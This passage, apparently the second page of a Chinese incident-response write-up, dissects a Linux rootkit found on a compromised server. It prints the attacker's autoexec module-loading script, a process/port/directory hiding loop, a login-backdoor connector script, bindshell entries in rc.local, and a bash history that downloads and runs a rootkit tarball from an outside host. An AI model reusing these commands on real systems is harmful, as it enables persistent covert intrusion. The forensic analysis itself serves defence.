bsp; /boot/.pty0 /usr/lib/logem
这两个目录就是被藏起来的了;)
#cat nethides HIDDEN STRINGS (without the quotes) "CB0C" "17" ":0947"
这里是三个netstat的隐藏。
#cat pids EUID PID COMMAND 0 112 mcd 0 338 dittrich
两个后门,一个bindshell,一个是伪装成ssh的,进程都被隐藏了。
#cat redirects REDIRECT FROM REDIRECT TO /bin/login /usr/lib/logem/login2
可执行程序重定向,这里是把login给重定向了。
现在很清楚了,黑客进来之后,首先是上传上/usr/lib/logem下面的文件,包括几个脚本及刚才分析的内核模块,以 及几个后门,如login后门,ssh后门,然后修改了/etc/rc.d/init.d/network文件,加上/usr/lib/libdd.so.1行,以 便系统启动时自加载,(/etc/inetd.conf里也被加上了一句echo stream tcp nowait root /usr/sbin/echod /usr/sbin/echod,这样入侵者可以远程启动后门及内核模块,这里的echod与libdd.so.1是同样文件),这个程序指向 /boot/.pty0/go.sh:
这里面启动了几个irc的cliend端,连到国外的一些server上挂着——我不太理解为啥老外都这样?我连上去whois了一下, 结果如下:
Coitze is ~statd@the.ip.of.the_hacked_machine * Ask your girlfriend :> Coitze on @#radio21pitesti @#mafiotzii Coitze using McLean.VA.US.Undernet.Org CAIS Internet, US Coitze End of /WHOIS list.
而go.sh又指向ascunde.sh,这里是这样的:
for proces in `/bin/cat /boot/.pty0/hdm`; do <-------hdm文件里有ncd、sh、mcd三行,也就是有这些东西是入侵 者想隐藏的 P=`/sbin/pidof $proces` if [ -n "$P" ]; then killall -31 $proces 1>/dev/hdm 2>/dev/hdm <-------发出kill -31的信号,调用加载的内核模块隐藏进程 fi done for port in `/bin/cat /boot/.pty0/hdm1`; do <--------hdm1里是51980及7,入侵者想隐藏的端口 ./nethide `./dec2hex $port` 1>/dev/hdm 2>/dev/hdm <------dec2hex是一个小程序,把十进制数据转换成16进制 done for director in `/bin/cat /boot/.pty0/hdm2`; do <--------hdm2里是/boot/.pty0及/usr/lib/logem ./hidef $director 1>/dev/hdm 2>/dev/hdm <------调用hidef将hdm2里的文件隐藏 done
基本上就是这样了,我们看看这个洋鬼子在/usr/lib/logem/下面放了些什么东西吧 :)
#ls -la drwxr-xr-x 4 quack wheel 512 Mar 12 15:05 ./ drwxr-xr-x 10 quack wheel 1536 Mar 12 08:44 ../ -rw-r--r-- 1 quack wheel 202 Feb 28 00:46 .bashrc -rw-r--r-- 1 quack wheel 295 Feb 28 00:46 autoexec -rwxr-xr-x 1 quack wheel 14460 Feb 28 00:46 dittrich* drwxr-xr-x 2 quack wheel 512 Feb 28 00:46 knrk/ -rwsr-xr-x 1 quack wheel 20164 Feb 28 00:46 login2* -rwxr-xr-x 1 quack wheel 25284 Feb 28 00:46 portmap* drwxr-xr-x 2 quack wheel 512 Feb 28 00:46 stuff/
knrk就是咱们刚才分析的内核模块编译过的版本。
#cat autoexec #!/bin/sh /sbin/insmod -f /usr/lib/logem/knrk/knrk.o /sbin/insmod -f /usr/lib/logem/knrk/knrkmodhide.o /usr/lib/logem/knrk/knrkhidef /usr/lib/logem /usr/lib/logem/knrk/knrkered /bin/login /usr/lib/logem/login2 /usr/lib/logem/knrk/knrknethide ":0947" /usr/lib/logem dittrich killall -31 dittrich
这里dittrich及portmap都是弹出shell的后门,而login2是一个假的login,只是这里这个家伙似乎对ered的理解有些 问题,把/bin/login直接重定向到/usr/lib/logem/login2,会导致所有人登陆不上,因为运行login的时候,直接跑去 run login2程序了——另外,这台机器没开telnet,root都从控制台登陆的,也不知这个入侵者是什么意思,或许是写 了脚本自己入侵的吧。
#cat stuff/conn # Root Connector (or something)
if ! test $5; then echo "Syntax: conn <rewtline>" exit 1 fi
REWTIP=$3 REWTPASS=$5
echo "Connecting..." export DISPLAY=$REWTPASS telnet $REWTIP export DISPLAY=0 echo "Disconnected"
这是一个直接登陆到被放置login后门机器的脚本。
五、抓鬼
分析清楚了,还不够,咱得试着逮住这家伙才好呀,反正他的后门已经都知道了,咱们直接运行iplog之类的程序,就可 以搞定它了,到http://download.sourceforge.net/ojnk/iplog-2.2.3.tar.gz下载iplog的最新版本,需要有libpcap的 支持,编译后,借用这家伙的模块,直接kill -31 iplog's_pid,就把iplog进程隐藏了,等他上来吧 ;) 只要逮着连端 口7或者51980的,估计都是bad guys :)
六、后话
其实这台机器,俺仔细地看了看,除了上面分析的家伙,至少还有两个人登陆过,而且取得了root权限并安装后门、 sniffer等等,从下面可以看出来:
1、/etc/rc.d/rc.local #!/bin/sh
# This script will be executed *after* all the other init scripts. # You can put your own initialization stuff in here if you don't # want to do the full Sys V style init stuff. /bin/bd <--------------这里是一个bindshell的后门
if [ -f /etc/redhat-release ]; then R=$(cat /etc/redhat-release)
arch=$(uname -m) a="a" case "_$arch" in _a*) a="an";; _i*) a="an";; esac
/usr/bin/bsgd <--------------另一个bindshell后门 # This will overwrite /etc/issue at every boot. So, make any changes you # want to make to /etc/issue here or you will lose them when you reboot. echo "" > /etc/issue echo "$R" >> /etc/issue echo "Kernel $(uname -r) on $a $(uname -m)" >> /etc/issue /usr/bin/hyme <---------------一个很常见的linux下的sniffer,该入侵者修改过程序
cp -f /etc/issue /etc/issue.net echo >> /etc/issue fi
2、/.bash_history
#cat /.bash_history mkdir /usr/src/.puta cd /usr/src/.puta lynx -dump http://www.angelfire.com/linux/tools/bkS.tgz > bkS.tgz tar -zxvf bkS.tgz cd bk ;./b0skit cat /etc/inetd.conf | grep -v 4512 > /tmp/back mv -f /tmp/back /etc/inetd.conf killall -1 inetd
其实作为系统管理员,只要付出1%的努力,就可以让99%的入侵者束手无策,但是满世界却偏偏总有着无数的机器, 愿意Free地让入侵者们使用——或者删除……
上一页 [1] [2]
|